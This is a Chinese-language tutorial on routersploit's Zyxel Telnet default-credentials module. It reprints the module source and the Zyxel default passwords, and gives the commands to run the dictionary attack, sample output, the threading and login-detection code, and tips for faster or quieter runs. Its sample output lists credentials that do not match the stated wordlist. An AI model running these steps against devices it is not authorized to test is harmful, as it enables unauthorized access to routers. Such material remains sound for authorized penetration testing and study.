ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

routersploit 实战:使用 telnet_default_creds 模块对 Zyxel 路由器 Telnet 服务执行默认凭据字典攻击

routersploit 实战:使用 telnet_default_creds 模块对 Zyxel 路由器 Telnet 服务执行默认凭据字典攻击 routersploit 实战使用 telnet_default_creds 模块对 Zyxel 路由器 Telnet 服务执行默认凭据字典攻击【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址: https://gitcode.com/gh_mirrors/ro/routersploit导读creds/routers/zyxel/telnet_default_creds是 routersploit 中面向 Zyxel 路由器 Telnet 服务的默认凭据检测模块它会用一组内置的用户名:密码组合对目标设备的 Telnet 服务进行字典式登录尝试一旦命中即把有效凭据展示给用户。本文以该模块为核心完整讲解其交互式操作流程、全部可配置参数、典型运行输出并结合仓库源码剖析其继承关系、Telnet 登录判定原理与多线程实现帮助读者快速上手并理解其工作机制。模块定位与功能概述根据 telnet_default_creds.md 文档该模块的核心职责是Module performs dictionary attack with default credentials against Zyxel Router Telnet service. If valid credentials are found, they are displayed to the user.即对 Zyxel 路由器的 Telnet 服务执行默认凭据字典攻击并在发现有效凭据后直接展示给用户。它对应的源码位于 telnet_default_creds.py模块元信息声明其适用设备为 Zyxel Router作者为 Marcin Burythreat9。值得注意的是该模块本身非常精简——它只是子类化了框架内通用的 Telnet 默认凭据模块通过重写defaults词表来定制 Zyxel 特有的默认口令集合from routersploit.core.exploit import * from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault class Exploit(TelnetDefault): __info__ { name: Zyxel Router Default Telnet Creds, description: Module performs dictionary attack against Zyxel Router Telnet service. If valid credentials are found, they are displayed to the user., authors: (Marcin Bury marcin[at]threat9.com,), devices: (Zyxel Router,), } target OptIP(, Target IPv4, IPv6 address or file with ip:port (file://)) port OptPort(23, Target Telnet port) threads OptInteger(1, Number of threads) defaults OptWordlist(admin:admin,admin:1234,admin:user,admin:Zyxel*2012*, User:Pass or file with default credentials (file://))这一设计在 creds 模块族中很常见通用攻击逻辑收敛在 generic/telnet_default.py各厂商模块Zyxel、D-Link、TP-Link 等只需声明自己的默认凭据表。快速上手标准验证流程依据官方文档的 Verification Steps在本地环境执行以下五步即可完成一次攻击启动框架./rsf.py加载模块use creds/routers/zyxel/telnet_default_creds设置目标set target [TargetIP]执行攻击run若发现有效凭据将直接展示给用户对应命令序列如下rsf use creds/routers/zyxel/telnet_default_creds rsf (Zyxel Router Default Telnet Creds) set target 192.168.1.1 [] target 192.168.1.1 rsf (Zyxel Router Default Telnet Creds) run模块参数详解加载模块后可通过show options查看全部可设置项。下表汇总了该模块含从父类继承的所有参数及其约束参数类型默认值说明取值约束targetOptIP空目标 IPv4/IPv6 地址或file://指向的目标列表文件必须为合法 IPv4/IPv6见 utils.py 的正则校验或file://路径portOptPort23目标 Telnet 端口整数范围0 port 65535见 option.pythreadsOptInteger1并发线程数任意可转 int 的值含十六进制见 option.pydefaultsOptWordlistadmin:admin,admin:1234,admin:user,admin:Zyxel*2012*默认凭据词表逗号分隔的user:pass列表或file://指向的词表文件每行一条user:passstop_on_successOptBooltrue首次认证成功后是否停止攻击仅接受true/false字符串见 option.pyverbosityOptBooltrue是否输出每次认证尝试的明细仅接受true/false其中 Zyxel 专属默认凭据为四组admin:admin、admin:1234、admin:user、admin:Zyxel*2012*。这一结论同时被单元测试固化在 test_telnet_default_creds.py 中断言exploit.defaults [admin:admin, admin:1234, admin:user, admin:Zyxel*2012*]。defaults还支持file://语法引用外部词表如set defaults file:///path/to/zyxel.txt。底层实现见 OptWordlist读取时若以file://开头则逐行读取并去除首尾空白否则按逗号切分为列表设置时会校验文件存在性。运行场景与输出解读官方文档给出了一个完整的运行示例一次典型的攻击输出如下rsf (Zyxel Router Default Telnet Creds) run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: admin Password: admin [-] Telnet Authentication Failed - Username: 1234 Password: 1234 [-] Telnet Authentication Failed - Username: root Password: 12345 [-] Telnet Authentication Failed - Username: root Password: root [] Telnet Authentication Successful - Username: user Password: user [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user输出可以分成四个阶段理解连接探测Target exposes Telnet service表明模块首先确认目标 23 端口确实开放 Telnet字典攻击Starting default credentials attack against Telnet service后逐条尝试凭据失败的以[-] Telnet Authentication Failed输出成功的以[] Telnet Authentication Successful输出执行统计Elapsed time给出总耗时本例单线程执行约 5.4 秒结果汇总Credentials found!后以表格形式列出命中目标包含 Target / Port / Service / Username / Password 五列。源码级原理一次攻击的完整调用链继承链与协议声明该模块的继承链为Exploit(Zyxel) → Exploit(TelnetDefault) → TelnetClient → Exploit。在 telnet_client.py 中TelnetClient将target_protocol声明为Protocol.TELNET因此结果表格中的 Service 列为telnet。attack 流程核心攻击逻辑在 generic/telnet_default.pymulti def attack(self): if not self.check(): return print_status(Starting default credentials attack against Telnet service) data LockedIterator(self.defaults) self.run_threads(self.threads, self.target_function, data) if self.credentials: print_success(Credentials found!) headers (Target, Port, Service, Username, Password) print_table(headers, *self.credentials) else: print_error(Credentials not found)流程为check()探测服务 → 用LockedIterator包装词表线程安全迭代器见 exploit.py→run_threads启动指定数量的 worker 线程 → 汇总命中结果并打印表格。每个 worker 线程执行target_functiontelnet_default.py从迭代器取出user:pass按第一个冒号切分调用telnet_client.login(username, password, retries3)若成功且stop_on_successTrue则通过running.clear()通知其他线程停止。Telnet 登录判定登录细节位于 TelnetCli.login客户端依次等待Login:/login:/Username:/username:提示符并回显用户名等待Password:/password:提示符并回显密码然后检测响应中是否出现Incorrect/incorrect(i, obj, res) self.telnet_client.expect([bIncorrect, bincorrect], 5) if i -1 and any([x in res for x in [b#, b$, b]]) or len(res) 500: print_success(...) # 认证成功 return True else: print_error(...) # 认证失败 break判定规则若未匹配到 Incorrect 且响应中出现 shell 提示符#、$、或响应超过 500 字节代码注释解释这是为了兼容 MikroTik 等返回大横幅的设备则判定认证成功。连接超时由模块常量TELNET_TIMEOUT 30.0控制telnet_client.py。多线程与批量目标多线程run_threadsexploit.py基于threading.Event创建 N 个thread-N命名的线程支持CtrlC中断清空事件后各线程退出并输出总耗时。文档示例中的thread-0 thread is starting...即源于此。批量目标attack上方的multi装饰器exploit.py支持target使用file://指向多目标文件每行ip:port逐个目标执行攻击文件中未指定端口时回退到模块默认端口。高级用法自定义凭据词表内置四组 Zyxel 凭据不够用时可以指向自定义词表文件rsf (Zyxel Router Default Telnet Creds) set defaults file:///tmp/zyxel_creds.txt文件每行一条user:pass。框架同时内置了 653 行通用默认凭据库 defaults.txt通用模块非厂商定制版默认即使用该词表。提升并发与关闭明细输出rsf (Zyxel Router Default Telnet Creds) set threads 8 rsf (Zyxel Router Default Telnet Creds) set verbosity false rsf (Zyxel Router Default Telnet Creds) run多线程可显著缩短字典遍历耗时verbosity false则只保留关键结果输出。供扫描器/自动利用调用的静默检查父类还实现了check_default()telnet_default.py它被mute装饰以抑制输出返回命中凭据列表或None。该接口可供creds扫描器或 autopwn 等自动化链路复用无需经过交互式终端。测试与验证仓库为每个 creds 模块配套了 pytest 用例test_telnet_default_creds.py 针对本模块验证了默认参数target 为空、port23、threads1、四组 Zyxel 默认凭据、stop_on_successTrue、verbosityTrue对测试用 Telnet 服务check()返回 Truecheck_default()返回非空结果即能命中测试服务run()正常执行完毕。运行方式pytest tests/creds/routers/zyxel/test_telnet_default_creds.py测试夹具generic_target定义于 conftest.py用于在测试环境中起一个真实的 Telnet 服务供模块攻击。注意事项与使用边界合法授权默认凭据探测属于攻击性安全操作仅应在获得授权的前提下对自有或受托测试的目标执行单线程默认模块默认threads1与通用模块默认 8 线程不同网络较差时可适当调高并发但过高线程数可能触发目标设备限流或日志告警判定依赖特征登录成功与否依赖 Telnet 横幅中的提示符特征与 Incorrect 关键字个别设备若使用非标准提示语可能导致误判凭据集合有限四组 Zyxel 默认凭据仅为常见出厂组合不代表覆盖所有型号与固件版本命中失败时可通过自定义词表扩展。【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址: https://gitcode.com/gh_mirrors/ro/routersploit创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表